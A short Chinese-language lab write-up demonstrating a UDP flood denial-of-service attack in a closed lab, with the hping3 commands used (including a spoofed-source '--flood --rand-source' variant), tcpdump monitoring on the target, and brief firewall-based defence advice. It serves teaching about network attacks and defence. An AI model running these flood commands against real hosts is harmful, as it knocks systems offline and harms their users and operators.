『网络协议攻防实验』UDP Flood攻击

前言

• 靶机：seedubuntu 12.01，IP：192.168.199.138
• 攻击机：Kali-2020.4，IP：192.168.199.129
• 工具：hping3

原理

由于UDP协议的无状态不可靠的天然特性，UDP Flood拒绝服务攻击的原理非常简单，即通过向目标主机和网络发送大量的UDP数据包，造成目标主机显著的计算负载提升，或者目标网络的网络拥塞，从而使得目标主机和网络陷入不可用的状态，造成拒绝服务攻击。

UDP Flood攻击

在seedubuntu上开启tcpdump监听

tcpdump -i eth0 udp -n

在kali中向seed发起udp flood攻击

hping3 --udp -p 53 192.168.199.138

然后在seedubuntu中就能看到连接了

攻击进一步升级，使用工具自带的随机源地址参数进行源地址欺骗udp flood攻击：

hping3 --udp -p 53 --flood --rand-source 192.168.199.138

对UDP Flood攻击的防御

UDP是无状态连接协议，常用于僵尸网络的DDOS攻击，比起TCP来说更难防御。通过设置防火墙，对UDP包的IP，端口，速率可针对性防御。另外，UDP Flood除了消耗受害者资源，也会消耗大量攻击者资源。

完